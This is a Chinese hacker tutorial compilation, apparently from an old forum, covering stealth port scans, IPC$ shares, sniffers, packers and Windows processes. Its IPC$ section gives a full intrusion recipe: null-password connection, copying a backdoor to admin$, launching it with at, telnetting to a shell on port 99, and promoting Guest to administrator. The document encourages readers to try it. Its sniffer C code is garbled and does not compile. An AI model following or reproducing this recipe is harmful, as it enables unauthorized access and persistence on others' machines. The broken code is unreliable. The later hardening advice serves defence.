  扫描一个系统或者一个网络,通常是为了发现这个被扫描的对象在提供哪些服务。扫描者可以分成两种类型,一种是“好人”:比如系统管理员和网络安全顾问,他们扫描的目的纯粹是外了找出系统的缺陷或漏洞,进而想办法弥补。当然另一类的就只能是“坏人”了,比如有“脚本小孩”或者更“坏”的,他们的目的是为了找出漏洞,进而实施攻击。

  扫描就象是去一栋公寓然后挨家敲门看谁在家。你是否在运行一个WEB服务器,或者邮件服务器、BIND、Telnet、FTP、RPC等等。这些问题的答案扫描都可以给出。遗憾的是,这些答案通常很明显的暴露在外,使得那些技术不是很高明的人可以轻而易举的进去“参观”。

  当然,我这里指的并非是那些极为高明,技术顶尖的黑客,我指的是那些只知道如何从网络上下载文件或收发EMAIL的大学生,当然中学生也不例外,他们通常被称为“脚本孩子”,因为他们并没有高深的技术知识作后盾,仅仅是通过运行别人写出的脚本程序来扫描或攻击别人的系统。除了这些可以随意下载的脚本外,攻击者通常还会下载一个叫做端口扫描器的软件工具。这种工具较旧的比如有ISS,较新的则如NMAP2.54的BETA22.1等。如果攻击者可以在你的系统中找到一个明显的漏洞,那么完了,你的系统很快将会属于他了,而且,扫描并不犯法,它并不是抢劫,你还无处申诉。

  如今,“坏人”的扫描通常会遇到这样的问题,就是他们扫描过的系统往往会记录扫描行为所利用的每一个连接信息,或许扫描的人的确很浅薄,没有意识到在他们扫描过程中会在系统中留下“犯罪”的记录,但稍微留意的人都会想法抹除他们的犯罪记录。有很多方法可以达到这个目的。比如,许多黑客通过他预先攻击过的主机来扫描远程主机,这样,即使被扫描的主机记录了这一信息,逆向搜索的人能知道的也仅限于黑客预先攻击过的主机,真正的黑客信息并不能找到。这里介绍的秘密扫描就属于这样一种扫描方式,它使得逆向搜索变的更为困难,因为它的工作机制甚至不需要建立连接。

  为了理解什么是秘密扫描以及它的工作原理,你首先应该对TCP/IP数据包的内容以及TCP的秘密握手机制有所了解。除了携带发送和接收方的IP地址和端口号外,TCP的报头还包含一个序列号和一些起着特殊作用的标记位。这里仅提到其中的三个标记位:SYN,ACK和FIN。因为它们三个的作用与这里讨论的主题密切相关。

  当系统间彼此说“HELLO”或道“GOODBYE”时,就会用到所谓的握手机制。让我们先看看如何利用TCP/IP的握手机制来建立一个连接。本文中所提到的连接均指的是发生在两个IP地址间,有一定的端口号的连接。当你想网上冲浪,或者想TELNET到远程主机时,三次握手机制就会为你生成一个这样的连接。

  它的工作原理大致如下(三次握手这个内容在其他文章里也有,我之所以不厌其烦的给大家讲是因为它很重要!):握手的第一步,一台计算机首先请求和另外一台计算机建立连接,它通过发送一个SYN请求来完成,也即将前面提到的SYN标记位置位。消息的内容就象是说:“HI,听着,我想和你的机子端口X上的服务说话,咱们先同步一下,我用序列号Y来开始连接。”端口X表示了连接的服务类型。至于哪些端口支持哪些类型的服务,可以参考UNIX下面的/etc/services文件。两台计算机间的每条信息都有一个由发送方产生的序列号,序列号的使用使得双方知道他们之间是同步的,而且还可以起到丢失信息时或接收顺序错误时发送警告信息的作用。

  握手的第二步,接收到SYN请求的计算机响应发送来的序列号,它会将ACK标记位置位,同时它也提供自己的序列号,这个做法类似于说:OH,亲爱的,我已经收到了你的号码,这是我的号码。

  到现在为止,发起连接建立请求的计算机认为连接已经建立起来,然而对方却并不这样认为,对方还要等到它自己的序列号有了应答后才能确认连接建立起来。因此现在的状态可以称为“半连接”。如果发起连接请求的计算机不对收到的序列号作出应答,那么这个连接就永远也建立不起来,而正因为没有建立连接,所以系统也不会对这次连接做任何记录。

  握手的第三步,发起连接请求的计算机对收到的序列号作出应答,这样,两台计算机之间的连接才算建立起来。

  两台计算机说”GOODBYE“时的握手情况与此类似:当一台计算机说没有更多的数据需要发送了,它发送一个FIN信号(将FIN标记位置位)通知另一端,接收到FIN的另一端计算机可能发送完了数据,也可能没发送完,但它会对此作出应答,而当它真正完成所有需要发送的数据后,它会再发送一个自己的FIN信号,等对方对此作出应答后,连接才彻底解除。

  FIN秘密扫描的工作原理就是向它的目的地一个根本不存在的连接发送FIN信息,如果这项服务没有开,那么目的地会响应一条错误信息,但如果是有这项服务,那么它将忽略这条消息。这样,扫描者的问题“你运行X吗”就有了答案,而且还不会在系统中有所记录。

  还有两种其他的扫描手段值得注意。一种叫做圣诞树扫描,因为,它将所有的标记位都置位(不仅仅是SYN,ACK,FIN);另一种叫做空扫描,因为所有的标记位都被复位。这些秘密的扫描行为将会根据接收端所运行的平台不同而产生不同的错误响应信息。

  现代的端口扫描工具,象NMAP就是利用这样的原理来检测在一个系统上有那些服务是开着的。NMAP不光是最着名的,同时也是最出色的端口扫描工具。它被系统管理人员和“坏人”们广泛的应用,有关NMAP的介绍,大家可以通过搜索引擎去查找相关的资料。

  扫描的方法无非就是利用扫描器,但最主要的就是配置的合理性,合理的配置会使你扫描达到事半功被的效果!

  什么是IPC$

  IPC$(InternetProcessConnection)是共享\"命名管道\"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

  利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表。

  我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能(就象3389和telnet一样),而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。

  所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

  解惑:

  1)IPC连接是WindowsNT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到WindowsNT中的很多DLL函数,所以不能在Windows9.x中运行。

  也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的。

  2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接

  3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表

  下面列出些IPC的相关命令

  1)建立空连接:

  netuse\\IP\ipc$""/user:""(一定要注意:这一行命令中包含了3个空格)

  2)建立非空连接:

  netuse\\IP\ipc$"用户名"/user:"密码"(同样有3个空格)

  3)映射默认共享:

  netusez:\\IP\c$"密码"/user:"用户名"(即可将对方的c盘映射为自己的z盘,其他盘类推)

  如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令netusez:\\IP\c$

  4)删除一个ipc$连接

  netuse\\IP\ipc$/del

  5)删除共享映射

  netusec:/del删除映射的c盘,其他盘类推

  netuse*/del删除全部,会有提示要求按y确认

  如何用这些命令进行入侵呢?再给大家看一个IPC入侵的经典模式(很早就有了,也不知是哪个前辈创造的)

  1.C:\>netuse\\127.0.0.1\IPC$""/user:"admintitrators"

  这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。

  2.C:\>copysrv.exe\\127.0.0.1\admin$

  先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

  3.C:\>nettime\\127.0.0.1

  查查时间,发现127.0.0.1的当前时间是2002/3/19上午11:00,命令成功完成。

  4.C:\>at\\127.0.0.111:05srv.exe

  用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)

  5.C:\>nettime\\127.0.0.1

  再查查到时间没有?如果127.0.0.1的当前时间是2002/3/19上午11:05,那就准备开始下面的命令。

  6.C:\>telnet127.0.0.199

  这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。

  虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

  7.C:\>copyntlm.exe\\127.0.0.1\admin$

  用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

  8.C:\WINNT\system32>ntlm

  输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"netstarttelnet"来开启Telnet服务!

  9.Telnet127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

  为了以防万一,我们再把guest激活加到管理组

  10.C:\>netuserguest/active:yes

  将对方的Guest用户激活

  11.C:\>netuserguest1234

  将Guest的密码改为1234,或者你要设定的密码

  12.C:\>netlocalgroupadministratorsguest/add

  将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

  看了上边的入侵,你是不是手痒了?!^_^

  但有时我们在实际的操作过程当中会遇到很多问题,下面就给大家看一些常见出错信息供参考!

  ipc$连接失败的原因

  以下5个原因是比较常见的:

  1)你的系统不是NT或以上操作系统;

  2)对方没有打开ipc$默认共享

  3)对方未开启139或445端口(惑被防火墙屏蔽)

  4)你的命令输入有误(比如缺少了空格等)

  5)用户名或密码错误(空连接当然无所谓了)

  另外,你也可以根据返回的错误号分析原因:

  错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;

  错误号51,Windows无法找到网络路径:网络有问题;

  错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);

  错误号67,找不到网络名:你的lanmanworkstation服务未启动;目标删除了ipc$;

  错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连。

  错误号1326,未知的用户名或错误密码:原因很明显了;

  错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动。(连接域控会出现此情况)

  错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。

  关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.

  能攻也要会防,怎样对IPC入侵进行防范呢?

  1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)

  首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous=DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)

  2禁止默认共享

  1)察看本地共享资源

  运行-cmd-输入netshare

  2)删除共享(每次输入一个)

  netshareipc$/‘

  netshareadmin$/‘

  netsharec$/‘

  netshared$/‘(如果有e,f,……可以继续删除)

  3)停止server服务

  netstopserver/y(重新启动后server服务会重新开启)

  4)修改注册表

  运行-regedit

  server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。

  pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。

  如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。

  3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务

  控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

  4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师

  5设置复杂密码,防止通过ipc$穷举密码。

  呵呵,就说这么多吧,如果上边的你都掌握了,那么对于IPC你已经不陌生了。

  什么是IRC

  IRC是英文“InternetRelayChat”的缩写,是一种在世界上、尤其是在国外非常流行的聊天标准。JarkkoOikarinen于1988年首创的一种网络聊天协议。经过十年的发展,目前世界上有超过60个国家提供了IRC的服务。在人气最旺的EFnet上,您可以看到上万的使用者在同一时间使用IRC。

  IRC采用客户机/服务器模式,它能使Internet用户实时地与其他用户交谈,每个用户通过客户端程序与远程主机建立连接,远程主机接受多个来自客户端程序的连接,并实现多个用户之间的实时通话。在海湾战争期间,IRC受到了全世界的关注。当时以色列特拉维夫的居民们在空袭期间通过IRC方式,向世界各地的听众现场描述所发生的事件。

  IRC的工作原理非常简单,您只要在自己的PC上运行客户端软件,然后通过因特网以IRC协议连接到一台IRC服务器上即可。它的特点是速度非常之快,聊天时几乎没有延迟的现象,并且只占用很小的带宽资源。所有用户可以在一个被称为\\\"Channel\\\"(频道)的地方就某一话题进行交谈或密谈。每个IRC的使用者都有一个Nickname(昵称),所有的沟通就在他们所在的Channel内以不同的Nickname进行交谈。

  IRC工具中国际上比较好用的是英文的mirc,在国内,比较好用的是中文的Chatkey。你可以到有关的网站下载。mirc的网址为:http://www.mirc.com(英文),Chatkey的网址是:http://www.chatkey.com(中文)。这里以中文的Chatkey为例,带你玩转IRC。

  什么是IRQ

  IRQ就是中断,如果你想写病毒代码,那么我劝你最好了解一下中断。

  下表表示了通常的NT系统中的IRQ设置。

  中断级别通常用途说明

  0时钟

  1键盘

  2与IRQ9级连

  3COM2或COM4

  4COM1或COM3

  5LPT2因为许多用户没有第二个并行口,因此它常常空闲,声卡可以使用此中断

  6软盘控制器

  7LPT1声卡可以使用此中断

  8实时时钟

  9与IRQ2级连直接与2相连,有时通知软件9时意味着2

  10未使用通常用于网卡

  11未使用由SCSI控制器使用

  12PS/2,总线鼠标如果用户没有PS/2或总线鼠标,此中断空闲

  13协处理器通知CPU协处理器错误

  14硬盘控制器如果用户未使用IDE硬盘,可以将它用于其它设备

  15有些计算机将此中断分配为第二个IDE控制器I如果用户未使用第二个IDE硬盘控制器,可以将它用于其它设备

  加壳和加密

  有人认为加壳和加密是一个意思,但我说这样的理解太不求甚解了!大家看下面两个定义吧。

  加壳的概念:其实是利用特殊的算法,对EXE、DLL文件里的资源进行压缩。类似WINZIP的效果,只不过这个压缩之后的文件,可以独立运行,解压过程完全隐蔽,都在内存中完成。解压原理,是加壳工具在文件头里加了一段指令,告诉CPU,怎么才能解压自己。现在的CPU都很快,所以这个解压过程你看不出什么东东。软件一下子就打开了,只有你机器配置非常差,才会感觉到不加壳和加壳后的软件运行速度的差别。当你加壳时,其实就是给可执行的文件加上个外衣。用户执行的只是这个外壳程序。当你执行这个程序的时候这个壳就会把原来的程序在内存中解开,解开后,以后的就交给真正的程序。所以,这些的工作只是在内存中运行的,是不可以了解具体是怎么样在内存中运行的。通常说的对外壳加密,都是指很多网上免费或者非免费的软件,被一些专门的加壳程序加壳,基本上是对程序的压缩或者不压缩。因为有的时候程序会过大,需要压缩。但是大部分的程序是因为防止反跟踪,防止程序被人跟踪调试,防止算法程序不想被别人静态分析。加密代码和数据,保护你的程序数据的完整性。不被修改或者窥视你程序的内幕。

  加密的概念:数据加密的基本过程就是对原来为明文的文件或数据按某种算法进行处理,使其成为不可读的一段代码,通常称为“密文”,使其只能在输入相应的密钥之后才能显示出本来内容,通过这样的途径来达到保护数据不被非法人窃取、阅读的目的。该过程的逆过程为解密,即将该编码信息转化为其原来数据的过程。

  加密其实是一种技术,它作为保障数据安全的一种方式,它不是现在才有的,它产生的历史相当久远,它是起源于要追溯于公元前2000年(几个世纪了),虽然它不是现在我们所讲的加密技术(甚至不叫加密),但作为一种加密的概念,确实早在几个世纪前就诞生了。当时埃及人是最先使用特别的象形文字作为信息编码的,随着时间推移,巴比伦、美索不达米亚和希腊文明都开始使用一些方法来保护他们的书面信息。

  你区分开了吗?其实加壳也算是加密技术的一中,他们是包含关系,记住哦!

  对于菜鸟们来说,学习加密不要只会用工具就行,应该多了解些加密算法,甚至自己研究一种算法出来。

  嗅探器sniffer

  sniffer,中文翻译就是嗅探器,是一种危害巨大的被动攻击工具,它通过监听网络来截获信息。下面我们看看它的原理。

  一、Sniffer原理

  1.网络技术与设备简介

  在讲述Sni计er的概念之前,首先需要讲述局域网设备的一些基本概念。

  数据在网络上是以很小的称为帧(Frame)的单位传输的,帧由几部分组成,不同的部分执行不同的功能。帧通过特定的称为网络驱动程序的软件进行成型,然后通过网卡发送到网线上,通过网线到达它们的目的机器,在目的机器的一端执行相反的过程。接收端机器的以太网卡捕获到这些帧,并告诉操作系统帧已到达,然后对其进行存储。就是在这个传输和接收的过程中,嗅探器会带来安全方面的问题。

  每一个在局域网(LAN)上的工作站都有其硬件地址,这些地址惟一地表示了网络上的机器(这一点与Internet地址系统比较相似)。当用户发送一个数据包时,这些数据包就会发送到LAN上所有可用的机器。

  在一般情况下,网络上所有的机器都可以“听”到通过的流量,但对不属于自己的数据包则不予响应(换句话说,工作站A不会捕获属于工作站B的数据,而是简单地忽略这些数据)。如果某个工作站的网络接口处于混杂模式(关于混杂模式的概念会在后面解释),那么它就可以捕获网络上所有的数据包和帧。

  2.网络监听原理

  Sniffer程序是一种利用以太网的特性把网络适配卡(NIC,一般为以太网卡)置为杂乱(promiscuous)模式状态的工具,一旦网卡设置为这种模式,它就能接收传输在网络上的每一个信息包。

  普通的情况下,网卡只接收和自己的地址有关的信息包,即传输到本地主机的信息包。要使Sniffer能接收并处理这种方式的信息,系统需要支持BPF,Linux下需要支持SOCKET一PACKET。但一般情况下,网络硬件和TCP/IP堆栈不支持接收或者发送与本地计算机无关的数据包,所以,为了绕过标准的TCP/IP堆栈,网卡就必须设置为我们刚开始讲的混杂模式。一般情况下,要激活这种方式,内核必须支持这种伪设备Bpfilter,而且需要root权限来运行这种程序,所以sniffer需要root身份安装,如果只是以本地用户的身份进人了系统,那么不可能唤探到root的密码,因为不能运行Sniffer。

  基于Sniffer这样的模式,可以分析各种信息包并描述出网络的结构和使用的机器,由于它接收任何一个在同一网段上传输的数据包,所以也就存在着捕获密码、各种信息、秘密文档等一些没有加密的信息的可能性。这成为黑客们常用的扩大战果的方法,用来夺取其他主机的控制权

  3Snifffer的分类

  Sniffer分为软件和硬件两种,软件的Sniffer有NetXray、Packetboy、Netmonitor等,其优点是物美价廉,易于学习使用,同时也易于交流;缺点是无法抓取网络上所有的传输,某些情况下也就无法真正了解网络的故障和运行情况。硬件的Sniffer通常称为协议分析仪,一般都是商业性的,价格也比较贵。

  实际上本文中所讲的Sniffer指的是软件。它把包抓取下来,然后打开并查看其中的内容,可以得到密码等。Sniffer只能抓取一个物理网段内的包,就是说,你和监听的目标中间不能有路由或其他屏蔽广播包的设备,这一点很重要。所以,对一般拨号上网的用户来说,是不可能利用Sniffer来窃听到其他人的通信内容的。

  4.网络监听的目的

  当一个黑客成功地攻陷了一台主机,并拿到了root权限,而且还想利用这台主机去攻击同一网段上的其他主机时,他就会在这台主机上安装Sniffer软件,对以太网设备上传送的数据包进行侦听,从而发现感兴趣的包。如果发现符合条件的包,就把它存到一个LOg文件中去。通常设置的这些条件是包含字“username”或“password”的包,这样的包里面通常有黑客感兴趣的密码之类的东西。一旦黑客截获得了某台主机的密码,他就会立刻进人这台主机。

  如果Sniffer运行在路由器上或有路由功能的主机上,就能对大量的数据进行监控,因为所有进出网络的数据包都要经过路由器。

  Sniffer属于第M层次的攻击。就是说,只有在攻击者已经进入了目标系统的情况下,才能使用Sniffer这种攻击手段,以便得到更多的信息。

  Sniffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个重要的信息、在网上传送的金融信息等等。Sniffer几乎能得到任何在以太网上传送的数据包。

  Sniffer是一种比较复杂的攻击手段,一般只有黑客老手才有能力使用它,而对于一个网络新手来说,即使在一台主机上成功地编译并运行了Sniffer,一般也不会得到什么有用的信息,因为通常网络上的信息流量是相当大的,如果不加选择地接收所有的包,然后从中找到所需要的信息非常困难;而且,如果长时间进行监听,还有可能把放置Sniffer的机器的硬盘撑爆。

  5.一个简单的Sniffer程序

  下面是一个非常简单的C程序,它可以完成一般的监听功能,/**/中的内容是本文的注解。

  /*下面是包含进行调用系统和网络函数的头文件*/

  #include〈stdio.h〉

  #include〈sys/socket.h〉

  #include〈netinet/in.h〉

  #include〈arpa/inet.h〉

  /*下面是IP和TCP包头结构*/

  structIP{

  unsignedintip_length:4;

  /*定义IP头的长度*/

  unsignedintip_version:4;

  /*IP版本,Ipv4*/

  unsignedcharip_tos;

  /*服务类型*/

  unsignedshort

  ip_total_length;/*IP数据包的总长度*/

  unsignedshortip_id;

  /*鉴定城*/

  unsignedshortip_flags;

  /*IP标志*/

  unsignedcharip_ttl;

  /*IP包的存活期*/

  unsignedcharip_protocol;

  /*IP上层的协议*/

  unsignedshortip_cksum;

  /*IP头校验和*/

  unsignedintip_source;

  /*源IP地址*/

  unsignedintip_source;

  /*目的IP地址*/

  };

  structtcp{

  unsignedshorttcp_source_port;

  /*定义TCP源端口*

  unsignedshorttcp_dest_port;

  /*TCP目的端口*/

  unsignedshorttcp_seqno;

  /*TCP序列号*/

  unsignedinttcp_ackno;

  /*发送者期望的下一个序列号*/

  unsignedinttcp_res1:4;

  /*下面几个是TCP标志*/

  tcp_hlen:4

  tcp_fin:1,

  tcp_syn:1,

  tcp_rst:1,

  tcp_psh:1,

  tcp_ack:1,

  tcp_urg:1,

  tcp_res2:2;

  unsigndshorttcp_winsize;/*能接收的最大字节数*/

  unsignedshorttcp_cksum;

  /*TCP校验和*/

  unsignedshorttcp_urgent;

  /*紧急事件标志*/

  };

  /*主函数*/

  intmain()

  {

  intsock,bytes_recieved,fromlen;

  charbuffer[65535];

  structsockaddr_infrom;

  /*定义socket结构*/

  structipip;

  /*定义IP和TCP*/

  structtcp*tcp;

  sock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

  /*上面是建立socket连接,第一个参数是地址族类型,用INTERNET类型*/

  /*第二个参数是socket类型,这里用了SOCK_RAW,它可以绕过传输层*/

  /*直接访问IP层的包,为了调用SOCK_RAW,需要有root权限*/

  /*第三个参数是协议,选IPPROTO_TCP指定了接收TCP层的内容*/

  while(1)

  /*建立一个死循环,不停的接收网络信息*/

  {

  fromlen=sizeoffrom;

  bytes_recieved=recvfrom(sock,buffer,sizeofbuffer,0,(structsockaddr*)&from,&fromlen);

  /*上面这个函数是从建立的socket连接中接收数据*/

  /*因为recvfrom()需要一个sockaddr数据类型,所以我们用了一个强制类型转换*/

  print(\"\\nBytesreceived:::%5d\\n\",bytes_recieved);

  /*显示出接收的数据字节数*/

  printf(\"sourceaddress:::%s\\n\",inet_ntoa(from.sin_addr));

  /*显示出源地址*/

  ip=(structip*)buffer;

  /*把接收的数据转化为我们预先定义的结构,便于查看*/

  printf(\"IPheaderlength:::%d\\n\",ip->ip_length);

  /*显示IP头的长度*/

  print(\"Protocol:::%d\\n\",ip->ip_protocol);

  /*显示协议类型,6是TCP,17是UDP*/

  tcp=(structtcp*)(buffer+(4*ip->ip_iplength));

  /*上面这名需要详细解释一下,因为接收的包头数据中,IP头的大小是固定的4字节*/

  /*所以我用IP长度乘以4,指向TCP头部分*/

  printf(\"Sourceport:::%d\\n\",ntohs(tcp->tcp_source_port);/*显示出端口*/

  printf(\"Destprot:::%d\\n\",ntohs(tcp->tcp_dest_port));/*显示出目标端口*/

  以上这个C程序是为了说明Sniffer的接收原理而列举的一个最简单的例子,它只是完成了Sniffer的接收功能,在运行它之前,我们还需要手工把同卡设为混杂模式,在root权限下用如下命令设置:

  ifconfigeth0promisc

  假设etho是你的以太网设备接口,然后运行编译好的程序,就可以看到接收的数据包了。

  这个程序虽然简单,但是它说明了Sniffer的基本原理,就是先把同卡设备设为混杂模式,然后直接接收IP层的数据。

  当然这个程序的功能也太简单,只能显示源地址、目标地址和源端口、目标端口等极为简单的信息,这对于黑客来说是没有什么用处的,黑客要的是密码之类的信息,这可以使用一些免费的Sniffer程序来完成。

  域名是什么

  如果你了解IP的含义,那么域名你就会很快弄懂。打个比方:如果IP是邮编的话,域名就是邮信地址。

  为了区别各个站点,必须为每个站点分配一个唯一的地址,这个地址即称为“IP地址”,IP地址也称为URL(UniqueResourceLocation,中文意义为“统一资源定位符”),IP地址由四个从0到255之间的数字组成,如202.116.0.54,但这些数字比较难记,所以有人发明了一种新方法来代替这种数字,即“域名”地址,域名由几个英文单词组成,如www.jnu.edu.cn具有一定的意义,其中cn代表中国(China),edu代表教育网(education),jnu代表暨南大学(JiNanUniversity),www代表全球网(或称万维网,WorldWideWed),整个域名合起来就代表中国教育网上的暨南大学站点。

  域名地址和用数字表示的IP地址实际上是同一个东西,只是外表上不同而已,在访问一个站点的时候,您可以输入这个站点用数字表示的IP地址,也可以输入它的域名地址,这里就存在一个域名地址和对应的IP地址相转换的问题,这些信息实际上是存放在ISP中称为域名服务器(DNS)的计算机上,当您输入一个域名地址时,域名服务器就会搜索其对应的IP地址,然后访问到该地址所表示的站点。站点地址可以在有关计算机的杂志、报纸和书籍上找到,在Internet上有更多站点地址的信息。从现在开始您就可以搜集一些您感兴趣的站点域名地址了。

  Internet的域名系统是为方便解释机器的IP地址而设立的。域名系统采用层次结构,按地理域或机构域进行分层。书写中采用圆点将各个层次隔开,分成层次字段。在机器的地址表示中,从右到左依次为最高域名段、次高域名段等,最左的一个字段为主机名。例如,在bbs.jnu.edu.cn中,最高域名为cn,次高域名edu为,最后一个域为jnu,主机名为bbs。

  


  对进程的解释

  我在学习操作系统的开始,对进程就很感兴趣,我以为自己对进程的理解很到位,可真正学了之后发现“进程”这两个字所包含的内容太多了,它的含义太抽象了,对于计算机操作系统来说它也是无比至关重要的!希望大家能用最佳的状态来学习这部分内容!不光是看这篇文章就可以的,要找尽可能多的文章来看,尽量去理解。

  我看到很多进程的定义但感觉都不是很确切,主要是不能完美的概括他的真正含义,在这里我结合自己的理解给进程下个“定义”。(我这么说显然很自不量力,我只希望能帮助大家理解)

  定义:进程是某个具有独立功能的计算机程序在操作系统程序集合当中正在进行活动的过程,它是作为一个独立的单位参与系统资源分配。(前半句逻辑性较强,大家多读几便会理解的)

  性质:1,进程是程序的一次执行。

  2,进程是可以和别的运算并发执行的运算。

  3,进程是可以定义为一个数据结构,又能在其上进行操作的一个程序。

  4,进程是一个程序及其数据在处理机上顺序执行所发生的活动。

  5,进程是程序在一个数据集合上进行运行的过程,是系统进行资源分配和调度的一个独立单位。

  说了这么多就是为了让大家便于理解。

  那进程与线程的区别到底是什么?进程是执行程序的实例。例如,当你运行记事本程序(Nodepad)时,你就创建了一个用来容纳组成Notepad.exe的代码及其所需调用动态链接库的进程。每个进程均运行在其专用且受保护的地址空间内。因此,如果你同时运行记事本的两个拷贝,该程序正在使用的数据在各自实例中是彼此独立的。在记事本的一个拷贝中将无法看到该程序的第二个实例打开的数据。

  我这里以沙箱为例进行阐述。一个进程就好比一个沙箱。线程就如同沙箱中的孩子们。孩子们在沙箱子中跑来跑去,并且可能将沙子攘到别的孩子眼中,他们会互相踢打或撕咬。但是,这些沙箱略有不同之处就在于每个沙箱完全由墙壁和顶棚封闭起来,无论箱中的孩子如何狠命地攘沙,他们也不会影响到其它沙箱中的其他孩子。因此,每个进程就象一个被保护起来的沙箱。未经许可,无人可以进出。

  实际上线程运行而进程不运行。两个进程彼此获得专用数据或内存的唯一途径就是通过协议来共享内存块。这是一种协作策略。下面让我们分析一下任务管理器里的进程选项卡。

  这里的进程是指一系列进程,这些进程是由它们所运行的可执行程序实例来识别的,这就是进程选项卡中的第一列给出了映射名称的原因。请注意,这里并没有进程名称列。进程并不拥有独立于其所归属实例的映射名称。换言之,如果你运行5个记事本拷贝,你将会看到5个称为Notepad.exe的进程。它们是如何彼此区别的呢?其中一种方式是通过它们的进程ID,因为每个进程都拥有其独一无二的编码。该进程ID由WindowsNT或Windows2000生成,并可以循环使用。因此,进程ID将不会越编越大,它们能够得到循环利用。

  第三列是被进程中的线程所占用的CPU时间百分比。它不是CPU的编号,而是被进程占用的CPU时间百分比。此时我的系统基本上是空闲的。尽管系统看上去每一秒左右都只使用一小部分CPU时间,但该系统空闲进程仍旧耗用了大约99%的CPU时间。

  第四列,CPU时间,是CPU被进程中的线程累计占用的小时、分钟及秒数。请注意,我对进程中的线程使用占用一词。这并不一定意味着那就是进程已耗用的CPU时间总和,因为,如我们一会儿将看到的,NT计时的方式是,当特定的时钟间隔激发时,无论谁恰巧处于当前的线程中,它都将计算到CPU周期之内。通常情况下,在大多数NT系统中,时钟以10毫秒的间隔运行。每10毫秒NT的心脏就跳动一下。有一些驱动程序代码片段运行并显示谁是当前的线程。让我们将CPU时间的最后10毫秒记在它的帐上。因此,如果一个线程开始运行,并在持续运行8毫秒后完成,接着,第二个线程开始运行并持续了2毫秒,这时,时钟激发,请猜一猜这整整10毫秒的时钟周期到底记在了哪个线程的帐上?答案是第二个线程。因此,NT中存在一些固有的不准确性,而NT恰是以这种方式进行计时,实际情况也如是,大多数32位操作系统中都存在一个基于间隔的计时机制。请记住这一点,因为,有时当你观察线程所耗用的CPU总和时,会出现尽管该线程或许看上去已运行过数十万次,但其CPU时间占用量却可能是零或非常短暂的现象,那么,上述解释便是原因所在。上述也就是我们在任务管理器的进程选项卡中所能看到的基本信息列。

  说到这里,我想大家对进程有一定的认识了吧,最后我对平时见到的各进程项细述一下,有哪些是能关的,有哪些是不能关的........

  最基本的系统进程(也就是说,这些进程是系统运行的基本条件,有了这些进程,系统就能正常运行):

  smss.exeSessionManager

  csrss.exe子系统服务器进程

  winlogon.exe管理用户登录

  services.exe包含很多系统服务

  lsass.exe管理IP安全策略以及启动ISAKMP/Oakley(IKE)和IP安全驱动程序。(系统服务)

  产生会话密钥以及授予用于交互式客户/服务器验证的服务凭据(ticket)。(系统服务)

  svchost.exe包含很多系统服务

  svchost.exe

  SPOOLSV.EXE将文件加载到内存中以便迟后打印。(系统服务)

  explorer.exe资源管理器

  internat.exe托盘区的拼音图标

